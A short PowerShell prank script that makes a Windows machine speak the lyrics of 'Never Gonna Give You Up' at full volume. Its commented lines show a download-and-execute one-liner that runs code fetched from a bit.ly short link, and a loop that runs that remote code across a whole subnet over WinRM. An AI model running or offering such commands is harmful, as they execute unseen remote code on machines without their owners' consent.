SadProcessor

Add-Type -Ass System.Speech;$S=New-Object System.Speech.Synthesis.SpeechSynthesizer;$S.volume=100;$L="We are no strangers to love... You know the rules and so do I. A full commitment is what I am thinking of. You wouldn't get this from any other computer... I just want to tell you how I am feeling... I have got to make you understand: Never gonna give you up, never gonna let you down; Never gonna run around and desert you. Never gonna make you cry, never gonna say goodbye. Never gonna tell a lie and ... hur-urt you.";$S.Speak($L)  

### Send a bit of love to yourself
# iex(iwr http://bit.ly/2gXq9fu).content

### Send Loads of Love to your SubNet over WinRM
# 1..254|%{icm 10.0.1.$_{iex(iwr http://bit.ly/2gXq9fu).content}-ea si}